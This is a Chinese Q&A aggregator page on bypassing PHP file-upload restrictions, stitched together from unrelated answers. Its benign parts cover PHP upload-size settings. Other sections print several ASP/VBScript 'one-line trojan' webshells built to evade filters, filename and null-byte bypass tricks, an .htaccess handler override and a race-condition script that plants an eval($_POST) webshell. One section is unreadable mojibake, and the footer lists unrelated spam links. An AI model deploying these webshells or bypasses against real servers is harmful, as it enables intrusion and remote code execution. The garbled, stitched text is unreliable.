导航:首页 > 编程语言 > php上传绕过

php上传绕过

发布时间:2024-06-25 05:02:59

A. 一句话木马及几种可绕过过滤格式

2. <%executerequest("YouPass")%> 3. <%execute(request("YouPass"))%>免杀大部分网站的一句话 4.<% set ms = server.CreateObject("MSScriptControl.ScriptControl.1") ms.Language="VBScript" ms.AddObject "Response", Response ms.AddObject "request", request ms.ExecuteStatement("ev"&"al(request(""YouPass""))") %>绕过部分网站过滤<%,%>的一句话 5.<script language=VBScript runat=server>execute request("YouPass")</script>绕过部分网站过滤双引号的一句话 6.<%eval request(YouPass(35))%>php一句话 7.<?>

B. PHP上传文件失败

提示显示的很清楚的。文件已经上传了行洞,但是在把文件薯吵从临时文档手枯件夹移出来出错了。注意新地址是否正确

可以使用绝对路径或者相对路径,看个人http://www.hi-docs.com/php/move_uploaded_file.html

C. php文件上传失败的问题

在用PHP进行文件上传的操作中,需要知道怎么控制上传文件大小的设置,而文件可传大小是受到多种因素制约的,现总结如下:
1、php.ini:upload_max_filesize 所上传的文件的最大大小。默认值2M。

2、php.ini:memory_limit 本指令设定了一个脚本所能够申请到的最大内存字节数,默认值8M。如果不需要任何内存上的限制,必须将其设为 -1。如果内存不够,则可能出现错误:Fatal error: Allowed memory size of X bytes exhausted (tried to allocate Y bytes)
3、php.ini:post_max_size 设定POST数据所允许的最大大小。此设定也影响到文件上传。要上传大文件,该值必须大于 upload_max_filesize。
4、php.ini:max_execution_time = 30 ; Maximum execution time of each script, in seconds
5、php.ini:max_input_time = 60 ; Maximum amount of time each script may spend parsing request data
6、如果用到mysql的BLOB进行二进制文件存储,则需要设置my.ini:max_allowed_packet=xxM

7、httpd.conf
在 Apache 里面有一个选项是 LimitRequestBody,这个选项可以限制用户送出的 HTTP 请求内容。这个选项可以在 .htaccess 或 httpd.conf 里使用,而如果在 httpd.conf 内使用,分别可以用在 virtualhost 或目录属性设定。而 LimitRequestBody 的设定值是介乎 0 (无限制) 至 2147483647 (2GB)。
例如要在目录 D:/AppServ/www 设定上传限制为 100K,可以在 .htaccess 或 httpd.conf 加入以下语句:
LimitRequestBody 1024000000
Options Indexes FollowSymLinks MultiViews ExecCGI
AllowOverride All
Order allow,deny
Allow from all
LimitRequestBody 1024000000Options Indexes FollowSymLinks MultiViews ExecCGIAllowOverride AllOrder allow,denyAllow from all
如果透过 .htaccess 设定,储存档案后会立即生效;如透过 httpd.conf 设定,须要重新启动 Apache。
PHP关于文件上传部分,特别提到表单隐藏域:MAX_FILE_SIZE,意思是接收文件的最大尺寸。文档中给出的例子如下:
<form enctype=”multipart/form-data” action=”_URL_” method=”POST”>
<input type=”hidden” name=”MAX_FILE_SIZE” value=”30000″>
Send this file: <input name=”userfile” type=”file”>
<input type=”submit” value=”Send File”>
form>
Send this file:
这里设置MAX_FILE_SIZE = 30000,期待一种可能,使得浏览器在传送文件之前能够依此作出预先判断,如果文件尺寸大于30000字节,则不执行实际的POST动作。也就是不往服务器发送文件内容,而是直接在客户端提醒用户“你试图上传的文件超过30000字节”。
这的确是一个非常棒的主张,但在现实中却暂时无法实现。不是因为这个限制可以“被简单地绕过”,而是IE和FireFox这两个主流浏览器都不支持这个特性。PHP的这个建议尚未被采纳。
MAX_FILE_SIZE还有一个用场:后台PHP会判断接收到的文件大小是否大于这个值,如果超出,$_FILES[‘thisfile’][‘error’]会被设置为UPLOAD_ERR_FORM_SIZE(2),同时放弃保存临时文件,将$_FILES[‘thisfile’][‘size’]置0。
这个例子,没问题,表现正常,当我试图上传一个40多K的文件时,PHP程序报告“文件超过MAX_FILE_SIZE”。
但是,如果我们将表单中的MAX_FILE_SIZE从30000减少到1000,情形又如何呢?
上传800字节的文件,正常;
上传40K的文件,PHP报告文件过大,也正常;
上传3000个字节的文件,PHP未报告错误,它成功保存了文件!出乎意料!
问题就出在main/rfc1867.c中判断文件是否超长的这部分代码上。php每次从buffer中读取FILLUNIT字节长度的内容后,首先判断“已经读到的内容长度(total_bytes)”是否大于MAX_FILE_SIZE,然后再增加“已经读到的内容长度(total_bytes)”。这样一来,和预计的结果之间至多会有FILLUNIT字节的误差,而FILLUNIT=1024*5=5K。(点击bug了解详细内容)
这就是说,当MAX_FILE_SIZE<5K时,上传一个大于MAX_FILE_SIZE,但是小于5K的文件是没有问题的。
当然,因为这个设置很容易被绕过,所以服务器端编程不应当依赖于MAX_FILE_SIZE。而且,5K到底是个很小的数值,对大多数上传文件的表单来说没有影响。
PHP中post_max_size,upload_max_filesize, MAX_FILE_SIZE的设置,和客户端上传给服务器端的流量大小无关。
Apache服务器从客户端接收长度不超过LimitRequestBody字节数的请求,然后传送给php模块,php模块再决定是否保存成临时文件,设置$_FILES全局变量,移交给script进一步处理。
这个Apache的LimitRequestBody选项缺省值=0,允许Request body的最大字节数是2G(linux + Apache)
最后还要注意的是:
html本身能够post数据也是有限制的,不能超过2G。
FTP客户端有文件偏移指针的2GB边界限制,未使用特殊编译flag编译的ftp服务器端或者客户端,无论在什么FS中都不支持大于2GB的文件。不知道PHP会不会也有这种情况。

D. 濡傛灉椤甸溃鎻愮ず涓嶈兘涓娄紶php鏂囦欢闾d箞浣跨敤镓╁𪾢钖岖粫杩囨柟寮忎笂浼犳枃浠剁殑璇濅笅鍒楀摢绉嶆柟+锛

濡傛灉缃戦〉闄愬埗浜嗕笂浼燩HP鏂囦欢,鍙浠ュ皾璇曚娇鐢ㄤ互涓嬫柟寮忕粫杩囱ラ檺鍒朵笂浼燩HP鏂囦欢:
1. 浣跨敤鍙屾墿灞曞悕 - shell.php.jpg
链嶅姟鍣ㄥ彲鑳藉彧妫镆ョ涓涓镓╁𪾢钖,杩欎釜鍙浠ヤ笂浼燩HP鏂囦欢骞堕吨锻藉悕涓篜HP镓ц屻
2.浣跨敤绌虹槠绗 - shell.php%20.jpg
涓浜涙湇锷″櫒杩囨护瑙勫垯鍙鑳戒细蹇界暐绌虹槠绗,瀵艰嚧缁曡繃銆
3.浣跨敤澶у啓镓╁𪾢钖 - shell.PHP
链夌殑链嶅姟鍣ㄤ粎妫镆ュ皬鍐欐墿灞曞悕銆
4.浣跨敤鐗规畩缂栫爜 - shell.php%00.jpg
涓浜涜繃婊ゅ櫒鍙鑳戒细蹇界暐绌哄瓧绗00,浠庤屽彲缁曡繃銆
5.浣跨敤𨱒′欢娉ㄩ喷 - shell.php#.jpg
绌烘牸鍜#鍙鑳借杩囨护璺宠繃钥岄犳垚缁曡繃銆
6.浣跨敤鐗规畩镄勫弻镓╁𪾢钖 - shell.php.php5.jpg
涓浜涜繃婊や粎镙¢獙绗涓涓镣广
7.鍒囧垎鏂囦欢澶村拰鍐呭瑰垎寮涓娄紶
浣嗘槸杩欎簺鏂规硶閮戒緷璧栨湇锷″櫒绔镄勮繃婊よ勫垯涓嶅熷畬锽,浠庡畨鍏ㄨ掑害𨱒ヨ,链嶅姟鍣ㄧ链濂借繘琛岀槠钖嶅崟楠岃瘉,钥屼笉鏄浠呬粎榛戝悕鍗曢檺鍒,浠庢牴链涓婃潨缁濇枃浠朵笂浼犳纺娲炪
鍙﹀,浣滀负鐢ㄦ埛鎴戜滑涔熶笉搴旇ュ皾璇曢潪娉旷粫杩囦笂浼犻檺鍒舵垨钥呬笂浼犱笉闇瑕佺殑webshell銆

E. 文件上传漏洞的类型有哪些

1、 前端检测绕过
有的站点只在前端对文件的类型有所限制,我们只需用bp抓包然后修改文件后缀名就能绕过这种检测。
2、 文件头检测绕过
有的站点使用文件头来检测文件的类型,这种检测可以在shell前加入相应的字节一绕过检测,几种常见的文件类型的头字节如下:

3、 后缀检测绕过
部分服务器仅根据文件后缀、上传时的信息或者文件头来判断文件类型,此时可以绕过。php由于历史的原因,部分解释器可能支持符合正则/ph(p[2-7]?|t(ml)?)/的后缀,如php/php5/pht/phtml/shtml/pwml/phtm等。如果后端对文件名进行了过滤,可以尝试双写文件名,比如1.pphphp。
4、 系统命名绕过
在windows系统中,上传不符合windwos命名规则的文件名会被windows系统自动去掉不符合规则符号后面的内容,例如:test.asp.、test.asp(空格)、test.php:1.jpg、test.php:: D A T A 、 t e s t . p h p : : DATA、test.php:: DATA、test.php::DATA…这些文件上传到服务器端之后都会变成test.php
在linux系统下,可以尝试上传文件后缀名为大小写混用的Php文件。
5、 文件包含绕过
在文件包含的时候,为了灵活包含文件,将被包含文件设置为变量,通过动态变量来引入需要包含的文件,用户可以对变量的值进行控制,而服务器端未对变量进行合理的校验,这样就导致所包含的文件有可能存在恶意代码。比如1.php
<?php $file=$_GET[‘file’]; include($file); ?>
这个程序就包含了一个文件,我们在1.txt文件中写入
<?php phpinfo(); ?>
然后将这个文件包含在1.php中1.php?file=1.txt这样
<?php phpinfo(); ?>就成功写入1.php这个文件当中,我们访问1.php这个文件的时候就能出现php信息那个页面。利用这个漏洞我们就可以进行文件上传,我们只需包含一个一句话木马内容的txt就能用菜刀连接,这样就成功执行了文件上传。
6、 解析漏洞绕过
目录解析:在网站中建立名称为*.asp、.asa格式的文件夹时,其文件夹下面的文件都会被当做asp执行。
文件解析:当文件名为.asp;1.jpg时,也会被当做asp执行
Apache解析漏洞:Apache在解析文件时,是从右往左,如果遇到不认识的扩展名时,就会继续向左判断,例如1.php.rar就会被当做
php解析。
IIS 7.0/IIS 7.5/Nginx<0.8.3畸形文件解析漏洞,当访问http://xxx.com/1.jpg/1.php时,此时1.php不存在,就会将1.jpg当做php文件去执行,所以如果存在该漏洞,将php木马后缀改成jpg然后访问1.jpg/1.php然后1.jpg就会被当成1.php来执行。
.htaccess,该文件里面的代码如下:
<FilesMatch “1”>
SetHandler application/x-httpd-php

这段代码的意思就是文件名包含”1”这个这个字符串就会被当成php文件来处理。但是值得注意的是上传.htaccess必须是网站根路径。
7、 文件截断绕过
00截断:由于00代表结束符,所以会把00后面的所有字符删除。
能利用这个漏洞的前提是,php版本要小于5.3.4,magic_quotes_gpc需要为OFF状态。我们用bp进行拦包之后,需要send to repeater,然后在hex中,在php后面添加00
8、 竞争条件攻击
一些网站上传文件逻辑上是允许上传任意文件的,然后检查上传文件的内容是否包含webshell脚本,如果包含则删除该文件,这里存在的问题是文件上传成功之后和删除文件之间存在一个短的时间差,攻击者就可以利用这个时间差来上传漏洞攻击。攻击者先上传一个webshell脚本1.php内容如下:
<?php fputs(fopen(‘../shell.php’,’w’),’<?php @eval($_POST[a]) ?>’); ?>
代码内容就是生成一个新的webshell,shell.php,那么当1.php上传成功之后,我们快速访问这个文件,这时就会在服务器端当前目录下自动生成shell.php,这时就利用时间差完成了webshell的上传。

阅读全文

与php上传绕过相关的资料

热点内容
什么服务器可以覆盖城市 浏览:560
扫毒3完整版免费观看 浏览:597
有什么都精通的程序员吗 浏览:846
风险app在哪里下载 浏览:67
在线免费观看网站 浏览:834
国外男男片 浏览:333
复杂零件加工编程 浏览:794
pdf如何加深颜色 浏览:774
android文件删除命令 浏览:915
快播 浏览:622
云服务器测试作业 浏览:737
书签怎么移动到文件夹 浏览:577
iosoppo怎么把数据传输到安卓 浏览:236
sql预处理命令 浏览:319
linux安装swftools 浏览:621
python执行环境 浏览:326
c语言回归算法 浏览:136
色阶命令实现的功能为 浏览:49
盲区雷达编程匹配 浏览:685
轻量应用服务器如何下载qq 浏览:962